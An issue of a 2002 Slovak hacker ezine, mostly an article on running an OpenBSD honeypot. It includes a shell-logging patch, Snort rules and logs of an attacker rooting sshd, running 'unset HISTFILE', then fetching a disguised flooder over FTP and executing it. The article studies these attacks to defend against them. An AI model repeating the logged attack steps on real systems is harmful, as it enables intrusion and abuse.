::::::::::. :::::::.. :::.,:::::: ::: ... . : `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;; `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ \[[,[[[[, ,[[[[, $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$ 888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM prielom #18, 27.11.02 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/
intro
medove tyzdne s OpenBSD
problemy internetovej reklamy
preco zmeni wifi tvar telekomov
wifi jazda po blave
bezpecne programovanie pod unixom
cerne a bile klobuky
board
tak a hysterka je naspat v plnej sile. hardware je novy a ambicie ostali tie stare - stat sa komunikacnym centrom pocitacoveho undergroundu v nasich koncinach. a predsa este cosi viac. myslim si ze na slovensku a v cechach nam chyba nejaka mienkotvorna identita ktora by bola alternativou k statnemu a firemnemu sektoru. ludia si vytvaraju nazor na rozne veci suvisace s informacnymi technologiami len na zaklade toho co dostanu naservirovane od marketingovych masinerii it firiem, pripadne od nasej vlady. neexistuje ziaden znamejsi zdroj informacii o tychto oblastiach ktory by prezentoval alternativne ci opozicne nazory k tym od spominanych dvoch sektorov. ked napriklad pise novinar v nemecku clanok o digitalnom podpise tak si okrem firemnych zdrojov a prislusneho zakona vramci objektivity precita aj nazor computer chaos clubu ci americkeho electronic frontier foundation. spravit z hysterky nieco na sposob poslednych dvoch spominanych institucii su azda silne reci, ale minimalne je to smer ktorym sa chcem vydat. ak by totiz u nas chcel novinar pisat clanok o digitalnom podpise, precita si len clanok v platku typu "infotrendy" (www.etrend.sk) ktory prislusnemu "autorovi" podstrcilo marketingove oddelenie silnej it firmy (spolu s firemnym trickom s limcekom a firemnym parker perom), pripadne si svoj nazor vytvori na jednej zo smiesnych "it konferencii" ktore sa v cechach a na slovensku robia x-krat do roka a ktore su len pasovou prehliadkou firemnych komercnych prezentacii..
centralny zdroj alternativnych nazorov k oblastiam ktore suvsia s kyberpriestorom - to je moja vizia hysterky v buducnosti ktoru som rozhodnuty budovat. dat dokopy hardware a rozbehnut web bolo to najjednoduchsie (no vlastne ani nie - slova vdaky za vcelku umornu pracu putuju zyxovi a maniacovi :). co bude tazsie je dat dokopy siroku komunitu ludi so spolocnymi konickami a nazormi. preto koncim toto intro s co najuprimnejsie myslenou hlasnou vyzvou: ludia ktori vidite veci inak ako komercny ci vladny sektor a chyba vam komunikacna platforma - ozvite sa mi. nechajte svoj hlas pocut prostrednictvom pevnej ochrannej bariery hysterky.
pajkus, 22.11.02, ruzinov
pred casom sa v roznych interentovych periodikach objavil odkaz na analyzu napadnuteho honeypotu s operacnym systemom OpenBSD 3.0 [1], ktoreho navrh sa mne nie tak celkom pozdaval a podnietil ma, aby som si podobnu situaciu nasimuloval sam a uzil si trochu zabavy. tento clanok popisuje zivotny cyklus projektu a ciastocne je i uvahou na rozne suvisiace temy.
honeypot?
hned na uvod by sme si mali vysvetlit, co to honeypot vlastne je. ako aj samotny preklad anglickeho nazvu napoveda, ide o "nadobku s medom", avsak nadobou je v tomto prenesenom vyzname hostitelsky pocitac, ci uz fyzicky, virtualny (napr. usermode linux[2]) alebo simulovany (napr. honeyd[3]) a tym medom je operacny system, ktory je umyselne ponechany napospas utocnikom a ako pohar s medom laka svojou vonou k sladkej dobrote, tak ich on snazi prilakat k prieniku do systemu. ak vam to este stale nedava zmysel, dodam, ze takyto system je potom pozornym okom sledovany a utoky su podrobne vyhodnocovane. takymto sposobom je mozne studovat metodiku utocnikov, ziskat nastroje, ktore k prienikom pouzivaju k dalsej analyze a vyvodit z toho patricne dosledky. najznamejsim projektom, ktory je zaroven priekopnikom tejto metody, je The Honeynet Project [4]. ak vas tato tematika zaujala, na ich strankach mozete ziskat mnozstvo relevantnych informacii.
dizajn siete
prave dizajn honeypotu, o ktorom pojednava vyssieuvedena studia, sa mne osobne nepozdaval. autor sa rozhodol, ze samotny system, ktory bolo mozne napadnut, umiestni za firewall do lokalneho ip adresneho pasma, cize nebude mozne sa nan pripojit priamo z internetu a naopak a len presmeroval jeden port, na ktorom bezi derave sshd (OpenSSH z OpenBSD 3.0) na cielovy stroj a prepusta spojenia von. i ked sam priznava, ze bol k takemuto navrhu dotlaceny nedobrovolne, kedze nemal k dispozicii viac ipadries a jeho cielom bolo otestovat, ci je mozne prevadzkovat honeypot aj v takomto prostredi.
prakticky jedina vyhoda, ktoru ziskal je prave ta, ze moze prevadzkovat honeypot aj za situacie, ked moze pouzit len jednu ipadresu a je nuteny posunut dalsie systemy dovnutra lokalnej siete. takyto system vsak nemoze sluzit ako modelovy pripad, kedze utocnik je prakticky "vymknuty" vo vnutri a preniknut naspat inou cestou (backdoor iny ako sshd) je pre neho pomerne narocne. po zbeznom prehliadnuti systemu musi byt utocnikovi taktiez okamzite jasne, ze nie je vsetko uplne v poriadku a moze zacat sipit podozrenie a jednoducho odist a uz sa nevratit. takyto honeypot plni teda len polovicnu funkciu: umozni sledovat a analyzovat situaciu predchadzajucu prieniku a prienik samotny. nie je uz mozne pozorovat dalsie kroky, ktore utocnik moze vykonat s vynimkou jeho tapania na suchu a nasledneho odchodu, ci uz z dovodu toho, ze pojme podozrenie, ze so systemom nie je vsetko v poriadku alebo jednoducho jeho technicke schopnosti nebudu postacovat na prekonanie takejto bariery.
osobne sm sa rozhodol pouzit fyzicky stroj s verejnou ipadresou, kedze taketo riesenie bolo v danej situacii najjednoduchsie a najpriamociarejsie (a nebol som obmedzovany nedostatkom adries).
. Internet . LAN . (tam ziju levy) . . .------->[ monitorovacia stanica (ipfilter) ] . | ^ . | | . snort log, syslog | . | | [ firewall (snort, iptables) ] | . || | . || syslog . ||______________. | . `---------------[ honeypot (sh, syslog) ] .
konfiguracia, logovanie a nastroje
ako operacny system na honeypot som pre zmenu pouzil OpenBSD 3.1, ktory ma po defaultnej instalacii taktiez deravy ssh daemon [5] a vyhradil som si na tento ucel starsi notebook, v ktorom som vymenil disk, aby som si zachoval povodny system a data bez reinstalacie. nainstaloval som nan beznu instalaciu tohto systemu (bez X), vratane ports a doinstaloval som typicke uzivatelske aplikacie, aby system vyzeral byt pouzivany a zaroven poskytol relativne pohodlne prostredie pre utocnika (screen, autotools, wget, etc.). taktiez som vytvoril niekolkych uzivatelov a pocas priprav som niekolko dni vytvaral falosnu aktivitu na tychto kontach ale tiez nie privelmi frekventovanu, aby nebolo podozrive, ze uzivatelia nie su aktivni prave vo chvili, ked bude system napadnuty.
problem, na ktory narazil autor spominanej studie v tejto faze, a sice, ze "nebol schopny pouzit patch, ktory umoznuje po aplikovani na zdrojove kody bash 2.05 logovat uzivatelske prikazy cez syslog, pretoze takyto bash nie je mozne potom spolahlivo pouzit ako /bin/sh (ktory exploit spusta) v systeme OpenBSD" som nemohol brat ako padny argument a vyriesil som to po svojom--napisal som si vlastny. patch pre pdksh, ktory OpenBSD pouziva v sh mode ako /bin/sh a v nativnom mode ako /bin/ksh je prilozeny tu:
--- lex.c.orig Sat Jul 20 16:16:18 2002 +++ lex.c Sat Jul 20 16:07:37 2002 @@ -7,6 +7,9 @@ #include "sh.h" #include <ctype.h> +#ifdef HONEYPOT +#include <syslog.h> +#endif /* Structure to keep track of the lexing state and the various pieces of info * needed for each particular state. @@ -1001,6 +1004,9 @@ char *xp = Xstring(s->xs, xp); int interactive = Flag(FTALKING) && s->type == SSTDIN; int have_tty = interactive && (s->flags & SF_TTY); +#ifdef HONEYPOT + char logbuf[600]; +#endif /* Done here to ensure nothing odd happens when a timeout occurs */ XcheckN(s->xs, xp, LINE); @@ -1080,6 +1086,17 @@ s->start = s->str = Xstring(s->xs, xp); strip_nuls(Xstring(s->xs, xp), Xlength(s->xs, xp)); /* Note: if input is all nulls, this is not eof */ +#ifdef HONEYPOT + if (strlen(Xstring(s->xs, xp)) < 600) + syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s", + getpid(), getuid(), Xstring(s->xs, xp)); + else { + strncpy(logbuf, Xstring(s->xs, xp), sizeof(logbuf)); + logbuf[sizeof(logbuf) - 1] = '\0'; + syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s(TRUNCATED!)", + getpid(), getuid(), logbuf); + } +#endif if (Xlength(s->xs, xp) == 0) { /* EOF */ if (s->type == SFILE) shf_fdclose(s->u.shf);
tento patch som aplikoval v adresari /usr/src/usr.bin/ksh/ a skompiloval novy shell prikazom: HONEYPOT=1 make a nahradil nim /bin/ksh (/bin/sh je hardlink). jeho ucel je rovnaky ako uz spominaneho patchu pre bash z honeynet.org--logovat prikazy, ktore uzivatel zada shellu cez syslogd s prioritou info.local5.
potencialny utocnik by vsak mohol zabit proces syslogd a musel by som tieto data pracne rekonstruovat z logov zachytenych tcp spojeni na firewalle (tomu som sa nakoniec tak ci tak nevyhol). preto som upravil tiez zdrojove kody syslogd, ktore mi umoznili pustit dve instancie tohto programu sucasne a zaroven nacitavat konfiguraciu z ineho miesta ako je /etc/syslogd.conf. tieto upravy boli trivialne a mozete si ich vypracovat ako domacu ulohu :). takto upraveny syslogd som nakopiroval na miesto, ktore povodne patrilo apmd a povolil jeho spustenie standardnym sposobom v /etc/rc.conf, takze sa po starte tvaril velmi neskodne (kto by preco zabijal advanced power management daemon, vsakze?). tento syslogd posielal vsetky logy cez siet na monitorovaciu stanicu. tym boli upravy na samotnom cielovom stroji kompletne.
na firewalle, ktory oddeluje lokalnu siet od internetu, bol nainstalovany intrusion detection system snort, ktory taktiez posielal data urcene k neskorsej analyze na monitorovaciu stanicu. konfiguracia sa len velmi mierne lisila od standardneho nastavenia, relevantny vynatok z pravidiel je tu:
ruletype honeypot-traffic { type log output log_tcpdump: honeypot-traffic.log } honeypot-traffic tcp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming TCP Traffic";) honeypot-traffic udp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming UDP Traffic";) honeypot-traffic icmp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming ICMP Traffic";) honeypot-traffic tcp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing TCP Traffic";) honeypot-traffic udp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing UDP Traffic";) honeypot-traffic icmp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing ICMP Traffic";)funkcnost je zrejma, loguje vsetky pretecene data smerujuce na a z cieloveho stroja v tcpdump formate. snort samotny uz obsahuje v subore experimental.rules (v case pisania clanku) pravidla na detekciu gobbles exploitu na OpenSSH. $HONEYNET je premenna obsahujuca ipadresu honeypot stroja.
na firewalle samotnom su nastavene dost tuhe pravidla pre paketovy filter (iptables, GNU/Linux), takze som sa neobaval pripadneho napadnutia inych segmentov lokalnej siete a na monitorovacej stanici som zakazal akykolvek traffic z honeypot stroja okrem dat zo syslogu (ipfilter, Solaris). nechcel som pridavat ziadne extra pravidla na firewalle, aby utocnik nedostal pocit, ze je kdesi vymknuty ale zaroven som bol pripraveny odpojit ho od siete, ak by zacal vyvijat aktivitu, ktora by mi mohla sposobit problemy (napadanie dalsich systemov na internete, icmp floodovanie, etc.). este dodam, ze v tomto segmente lokalnej siete sa ziadne dalsie pocitace v tom case nenachadzali.
pre zjednodusenie orientacie bude firewall oznaceny ako 'firewall' a honeypot stroj 'honeypot', v skutocnosti maju ine mena. realne ipadresy ostatnych pocitacov fugurujucich v logoch boli taktiez pozmenene.
priebeh
na druhy den po spusteni (Jul 20 16:43:41), presnejsie o par hodin, sa objavili prve skeny na ssh a pokracovali i neskor:
Jul 21 04:35:47 honeypot sshd[2192]: Connection from aaa.aa.aa.aa port 2601 Jul 21 04:37:03 honeypot sshd[2192]: Did not receive identification string from aaa.aa.aa.aa ... Jul 21 10:09:59 honeypot sshd[7602]: Connection from bbb.bbb.bbb.bb port 60298 Jul 21 10:09:59 honeypot sshd[7602]: Did not receive identification string from bbb.bbb.bbb.bb ... Jul 22 23:21:48 honeypot sshd[13222]: Connection from ccc.cc.ccc.cc port 1480 Jul 22 23:31:53 honeypot sshd[13222]: fatal: Timeout before authentication for ccc.cc.ccc.cc.
az nakoniec prisiel prvy uspesny utok z adsl klienta kanadskeho poskytovatela pripojenia:
Jul 23 20:42:27 honeypot sshd[14629]: Connection from xxx.xxx.xxx.xx port 32854 Jul 23 20:42:27 honeypot sshd[14629]: Enabling compatibility mode for protocol 2.0 Jul 23 20:42:29 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt [Classification: Misc Attack] [Priority: 2]: {TCP} xxx.xxx.xxx.xx:32854 -> honeypot:22 Jul 23 20:42:33 honeypot sshd[14629]: Failed none for root from xxx.xxx.xxx.xx port 32854 ssh2 Jul 23 20:42:33 honeypot sshd[14629]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 32854 ssh2 Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168 Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168 Jul 23 20:42:40 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE) [Classification: Misc Attack] [Priority: 2]: {TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854 Jul 23 20:42:41 honeypot sh: HISTORY: PID=14629 UID=0 uname -a;id Jul 23 20:42:41 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854 OpenBSD honeypot 3.1 GENERIC#59 i386 uid=0(root) gid=0(wheel) groups=0(wheel)avsak jedine, na co sa dotycny zmohol, bol prikaz w o par minut neskor:
Jul 23 20:51:53 honeypot sh: HISTORY: PID=14629 UID=0 w 8:51PM up 3 days, 4:07, 1 user, load averages: 0.07 , 0.08, 0.08 USER TTY FROM LOGIN@ IDLE WHAT martin C1 - Mon01AM 1day screena nasledne sa odpojil. pravdepodobne sa zlakol uzivatela, ktory bol prihlaseny na konzole a mal idle viac nez den. mal spusteny screen a v nom browser links s natiahnutou strankou google.com. odhlasil som ho a vyckaval dalej..
dalsie skeny sa objavili az o dva dni neskor a sporadicky pokracovali zopar dalsich dni:
Jul 25 19:59:57 honeypot sshd[30]: Connection from ddd.ddd.ddd.ddd port 3292 Jul 25 20:00:52 honeypot sshd[30]: Bad protocol version identification '\M^?\M-t\M^?\M-}\^F\M^?\M-t\M^?\M-}\^Flol' from ddd.ddd.ddd.ddd ... Jul 26 03:52:58 honeypot sshd[17038]: Connection from ee.eee.ee.eee port 3997 Jul 26 04:03:03 honeypot sshd[17038]: fatal: Timeout before authentication for ee.eee.ee.eee. ... Jul 30 12:30:40 honeypot sshd[1748]: Connection from fff.fff.fff.ff port 1817 Jul 30 12:30:40 honeypot sshd[1748]: Did not receive identification string from fff.fff.fff.ff ... Aug 1 06:02:06 honeypot sshd[16014]: Connection from ggg.ggg.gg.ggg port 1901 Aug 1 06:12:06 honeypot sshd[16014]: fatal: Timeout before authentication for ggg.ggg.gg.ggg.
az sa napokon objavil opat nas stary znamy, ktory uz zjavne isiel na istotu:
Aug 1 18:47:26 honeypot sshd[25245]: Connection from xxx.xxx.xxx.xx port 57008 Aug 1 18:47:26 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt [Classification: Misc Attack] [Priority: 2]: {TCP} xxx.xxx.xxx.xx:57008 -> honeypot:22 Aug 1 18:47:27 honeypot sshd[25245]: Enabling compatibility mode for protocol 2.0 Aug 1 18:47:29 honeypot sshd[25245]: Failed none for root from xxx.xxx.xxx.xx port 57008 ssh2 Aug 1 18:47:30 honeypot sshd[25245]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 57008 ssh2 Aug 1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168 Aug 1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168 Aug 1 18:47:32 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE) [Classification: Misc Attack] [Priority: 2]: {TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008 Aug 1 18:47:32 honeypot sh: HISTORY: PID=25245 UID=0 uname -a;id Aug 1 18:47:32 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008 OpenBSD honeypot 3.1 GENERIC#59 i386 uid=0(root) gid=0(wheel) groups=0(wheel) Aug 1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 unset HISTFILE Aug 1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 w 6:47PM up 12 days, 2:03, 0 users, load averages: 0.06, 0.08, 0.08 USER TTY FROM LOGIN@ IDLE WHAT Aug 1 18:47:39 honeypot sh: HISTORY: PID=25245 UID=0 ls .cshrc .profile altroot bin boot bsd dev etc home mnt root sbin stand sys tmp usr var Aug 1 18:47:42 honeypot sh: HISTORY: PID=25245 UID=0 ps aux USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 25245 5.8 0.4 384 308 ?? S 6:47PM 0:01.39 //bin/sh root 12177 0.0 0.4 100 352 ?? Is 20Jul02 0:04.46 syslogd root 6530 0.0 0.4 76 292 ?? Is 20Jul02 0:00.02 portmap root 12662 0.0 1.6 1092 1312 ?? Ss 20Jul02 0:51.81 /usr/sbin/htt root 3157 0.0 0.5 763 84 ?? Is 20Jul02 0:00.08 inetd www 24521 0.0 1.1 1092 888 ?? I 20Jul02 0:00.08 /usr/sbin/htt www 1134 0.0 1.1 1092 888 ?? I 20Jul02 0:00.08 /usr/sbin/htt www 17705 0.0 1.1 1092 908 ?? I 20Jul02 0:00.10 /usr/sbin/htt root 28815 0.0 1.0 372 828 ?? Ss 20Jul02 0:19.60 /usr/sbin/ssh root 7345 0.0 0.5 80 368 ?? Ss 20Jul02 0:04.40 (apmd) root 25599 0.0 0.5 224 440 ?? Is 20Jul02 0:05.48 cron root 22711 0.0 0.3 36 256 ?? Is 20Jul02 0:00.01 /usr/sbin/wsm root 649 0.0 0.5 48 408 C2 Is+ 20Jul02 0:00.02 /usr/libexec/ root 22447 0.0 0.5 48 408 C3 Is+ 20Jul02 0:00.02 /usr/libexec/ root 28337 0.0 0.5 48 408 C5 Is+ 20Jul02 0:00.02 /usr/libexec/ root 9662 0.0 1.0 836 784 ?? Ss 20Jul02 1:48.26 sendmail: acc root 5418 0.0 0.5 48 408 C0 Is+ 20Jul02 0:00.02 /usr/libexec/ www 13599 0.0 1.1 1092 892 ?? I 20Jul02 0:00.08 /usr/sbin/htt martin 7115 0.0 1.1 424 856 ?? Is 22Jul02 0:00.23 SCREEN (scree martin 25456 0.0 0.4 392 340 p0 Is 22Jul02 0:00.14 /bin/ksh martin 15687 0.0 1.4 860 1112 p0 I+ 22Jul02 0:00.16 links root 24909 0.0 0.5 48 412 C1 Is+ 23Jul02 0:00.03 /usr/libexec/ www 25082 0.0 1.1 1092 892 ?? I Fri07AM 0:00.05 /usr/sbin/htt www 29217 0.0 1.1 1092 892 ?? I Wed07AM 0:00.03 /usr/sbin/htt www 10007 0.0 1.1 1092 892 ?? I Wed0 7AM 0:00.03 /usr/sbin/htt root 1 0.0 0.0 332 76 ?? Is 22Jul02 0:00.10 /sbin/init Aug 1 18:47:46 honeypot sh: HISTORY: PID=25245 UID=0 w 6:47PM up 12 days, 2:03, 0 users, load averages: 0.06, 0.08, 0.08 USER TTY FROM LOGIN@ IDLE WHAT Aug 1 18:47:51 honeypot sh: HISTORY: PID=25245 UID=0
ocividne ho posmelilo, ze tentokrat uz nenasiel ziadneho nalogovaneho uzivatela a tak sa o chvilku vratil (prazdny prikaz v HISTORY predstavuje ctrl-d) a s chutou sa pustil do prace. nalogoval sa na ftp server urceny pre klientov isteho holandskeho poskytovatela pripojenia a stiahol si nevinne vyzerajuci subor td.doc (ftp spojenie je zrekonstruovane z dat na firewalle):
Aug 1 18:48:01 honeypot sh: HISTORY: PID=25316 UID=0 ftp yy.yy.yy.yy 220 FTP server (Version 7.02 - Yyyyyyyyy 1.1) ready. USER xxxxxx 331 Password required for xxxxxx. PASS xxxxxxxx 230 User xxxxxx logged in. SYST 215 UNIX Type: L8 Version: BSD-199506 TYPE I 200 Type set to I. SIZE td.doc 213 102400 EPSV 500 'EPSV': command not understood. PASV 227 Entering Passive Mode (yy,yy,yy,yy,7,156) RETR td.doc 150 Opening BINARY mode data connection for 'td.doc' (102400 bytes). 226 Transfer complete. MDTM td.doc 213 20020727165925 QUIT 221 Goodbye.(kedze pouzitie tohto ftp konta by mohlo byt povazovane za porusenie zakona z mojej strany, nepokusal som sa nan nalogovat (a v principe ani nebolo cielom patrat po utocnikovi). navyse, samotny binarny subor som ziskal na neskorsiu analyzu priamo na honeypot stroji.)
opat sa porozhliadol, ci sa nahodou, medzitym ako mal spustene ftp, nikto neprihlasil do systemu a vytvoril si subor, ktory zatial nedaval velky zmysel. ("n hodnota" je oblubeny format konfiguracnych suborov pre rootkity odnepamati. v tomto momente som mohol len hadat jeho urcenie. predstavuje 3 skupinu procesov, ktore sa nebudu zobrazovat v prikazoch ps, top a pod. alebo ide o subory, ktore neukaze ls, find, ...?).
presunul td.doc do /usr/include/... a na druhy krat sa mu podarilo nastavit spustitelne prava. nakoniec ho spustil, znova sa poobzeral, skontroloval procesy a pokusil sa reattachnut screen. tu by som sa nachvilku zastavil, pretoze toto mi pripadalo zaujimave. utocnik videl, ze v procesoch sa nachadza aj jeden spusteny screen, ktory vsak nebezal uzivatelovi root a navyse screen sa neda spustit bez toho, aby mal k dispozicii tty zaiadenie, takze toto bol pokus o nieco, co v ziadnom pripade nemohlo fungovat. skontroloval sietove spojenia a napokon sa odhlasil:
Aug 1 18:48:28 honeypot sh: HISTORY: PID=25316 UID=0 w 6:48PM up 12 days, 2:04, 0 users, load averages: 0.10, 0.09, 0.08 USER TTY FROM LOGIN@ IDLE WHAT Aug 1 18:48:30 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 ..." >>/dev/sdab Aug 1 18:48:45 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 lpsched" >>/dev/sdab Aug 1 18:48:51 honeypot sh: HISTORY: PID=25316 UID=0 mv td.doc /usr/include/... Aug 1 18:48:56 honeypot sh: HISTORY: PID=25316 UID=0 chmod + /usr/include/... Aug 1 18:49:00 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/... //bin/sh: /usr/include/...: cannot execute - Permission denied Aug 1 18:49:08 honeypot sh: HISTORY: PID=25316 UID=0 chmod +x /usr/include/... Aug 1 18:49:12 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/... Aug 1 18:49:13 honeypot sh: HISTORY: PID=25316 UID=0 w 6:49PM up 12 days, 2:05, 0 users, load averages: 0.10, 0.09, 0.08 USER TTY FROM LOGIN@ IDLE WHAT Aug 1 18:49:15 honeypot sh: HISTORY: PID=25316 UID=0 ps aux USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND ... root 9825 0.0 0.4 132 288 ?? S 6:49PM 0:00.01 lpsched (...) Aug 1 18:49:23 honeypot sh: HISTORY: PID=25316 UID=0 screen -r Must be connected to a terminal... Aug 1 18:49:31 honeypot sh: HISTORY: PID=25316 UID=0 netstat -an Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 0 honeypot:22 xxx.xxx.xxx.xx.57010 ESTABLISHED tcp 0 0 *.113 *.* LISTEN tcp 0 0 127.0.0.1.587 *.* LISTEN tcp 0 0 127.0.0.1.25 *.* LISTEN tcp 0 0 *.22 *.* LISTEN tcp 0 0 *.21 *.* LISTEN tcp 0 0 *.80 *.* LISTEN tcp 0 0 127.0.0.1.111 *.* LISTEN tcp 0 0 *.111 *.* LISTEN Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) udp 0 0 *.514 *.* udp 0 0 127.0.0.1.111 *.* udp 0 0 *.111 *.* udp 0 0 *.* *.* Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp6 0 0 ::1.587 *.* LISTEN tcp6 0 0 ::1.25 *.* LISTEN tcp6 0 0 *.22 *.* LISTEN Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr 0xe0861004 stream 0 0 0xe7949b78 0x0 0x0 0x0 /home/martin /.links/socket 0xe08610b4 dgram 0 0 0x0 0xe0851cc0 0x0 0xe085a980 0xe08014d0 dgram 0 0 0x0 0xe0851cc0 0x0 0xe0851580 0xe0801b00 dgram 0 0 0x0 0xe0851cc0 0x0 0x0 0xe08019a0 dgram 0 0 0xe793b848 0x0 0xe086e3c0 0x0 /dev/log 0xe0801f20 dgram 0 0 0x0 0xe0851cc0 0x0 0xe0866dc0 0xe0801790 dgram 0 0 0x0 0xe0834900 0x0 0x0 0xe0801000 dgram 0 0 0xe7924e74 0x0 0xe0834680 0x0 /dev/log Aug 1 18:49:42 honeypot sh: HISTORY: PID=25316 UID=0
z vypisu posledneho prikazu ps by sa mohlo zdat, ze je uz jasne, na co sluzi subor /dev/sdab a riadky v nom. opak je vsak pravdou, tento subor totiz vobec nie je otvarany dotycnym binarnym suborom. analyza ukazala, ze sa jedna o mierne poupraveny flooder, znamy pod menom Bubonic.c [6], ktory pouziva fixne argv[] s hodnotou "lpsched" (nie velmi sikovne upraveny, kedze ukazuje aj nazov skutocneho suboru). tieto indicie by naznacovali, ze utocnik sa este chysta nainstalovat nejaky rootkit, ktory sa bude konfigurovat cez /dev/sdab a jednym z cielov je ukryt tento program. kedze okamzite po spusteni zacal generovat znacny icmp traffic, po niekolkych hodinach (Aug 2 02:11:55) vyckavania, ci sa utocnik opat prihlasi, som sa rozhodol jeho cinnost ukoncit.
bol som zvedavy, ci sa este ukaze a bude pokracovat v nacatej praci (stale tam bol subor, ktory nedaval zmysel..) ale kedze sa ani po 4 dnoch neukazal a ja som uz potreboval notebook opat pouzivat, honeypot som definitivne odpojil od siete (Aug 6 08:51:23).
par slov na zaver
s vacsinou veci musim s autorom spominanej analyzy suhlasit. akonahle sa objavia verejne dostupne exploity, ktorych pouzitie je trivialne a nekladie naroky na ich pouzitie, okamzite sa rozsiria medzi pospolity lud. vdacnymi uzivatelmi su najma pocetne skupinky script kiddies, ktorych najvacsou zabavou je floodovanie na irc, ktori potom cele dni skenuju velke casti internetu na zname chyby a masovo ich zneuzivaju. obetou podobneho utoku sa stal aj moj honeypot, comu nasvedcuje icmp flooder a dalsi nezaujem zo strany utocnika (ved podobnych strojov este najde stovky..).
extremne kratka doba, za ktoru bol system odhaleny a mnozstvo skenov, ktore pocas nej prebehli, naznacuje, ze OpenSSH bolo v case pisania clanku v kurze a kto nepatchuje, koleduje si o problemy a ani OpenBSD automaticky neznamena zabezpeceny system. utocnik bol ocividne zamerany (aj) prave na OpenBSD systemy, kedze mal pripravenu staticky linkovanu binarku floodera. jeho rozpacite pocinanie dava tusit, ze vela skusenosti pravdepodobne nema. fakt, ze sa ani nesnazil skryvat, moze znamenat, ze som bol jednoducho jednou z desiatok jeho obeti, ktore po pouziti zahodi a ide zase o serverovnu dalej.
este dodam, ze pocas prevadzkovania honeypotu skoncili v logoch stovky pokusov o prelomenie znamych dier v roznych inych kombinaciach systemov a softveru. prevazovali utoky na chyby v ISS, mnozstvo z nich boli pravdepodobne cervy. taktiez dalsie desiatky az stovky skenov na otvorene proxy servery, samba shares, ci ftp.
honeypoty sa stavaju modnou mainstreamovou zalezitostou. pre utocnikov to castokrat znamena, ze nevedia, ci sa pokusaju naburat do skutocneho deraveho servera, o ktory sa administrator nestara alebo sadaju na lepkavy med sikovne nachystaneho honeypotu. bude istotne zaujimave sledovat ako sa situacia vyvinie. a co vy, uz mate svoj honeypot?
odkazy
[1] - http://www.lucidic.net/whitepapers/manuzis-7-5-2002-1.html
[2] - http://user-mode-linux.sourceforge.net/
[3] - http://www.citi.umich.edu/u/provos/honeyd/
[4] - http://www.honeynet.org/
[5] - http://openbsd.org/errata.html#sshd
[6] - http://online.securityfocus.com/archive/82/78437
salo, salo(at)hysteria.sk
navrat na obsah
co ty na to ? board
velmi velka cast prijmov z internetu hlavne v nasich krajinach (cr a sr) je zalozena na reklame, vacsinou na bannerovej reklame. jednak tu pomerne uspesne funguje bartrovy obchod (reklama za kredity) a jednak zobrazovanie impresii za peniaze. tento clanok by mal byt malym kritickym pohladom na tuto cast trhu.
v prvom rade je vhodne povedat par odlisnosti reklamy internetovej a reklamy v ostatnych mediach. reklama v beznych mediach sa pomerne tazsie cieli -- zameriava sa dost nepresne na cielove skupiny. zaroven je vsak mozne dopredu predpokladat (ak nenastane nejaka mimoriadna situacia) velkost cielovej skupiny. existuju rozne statisticke metody, ktore dovoluju urcite sledovanost, pripadne citanost daneho media. ovela zlozitejsie je urcit samotnu ucinnost reklamy (kto si zapamata danu znacku, kto si produkt naozaj kupi, ...).
zadavatelia internetovej reklamy ju vedia v kazdom vacsom reklamnom systeme pomerne dobre cielit. vedia povedat cielovu skupinu (podla toho, ako odpovedali v anketach, na ake stranky chodia, aky operacny system pouzivaju, cez akeho poskytovatela pripojenia su pripojeni. zatialco ,,bezna'' reklama cieli reklamu na predpokladanu cielovu skupinu, internetova reklama je cielena na kazdeho cloveka osobitne.
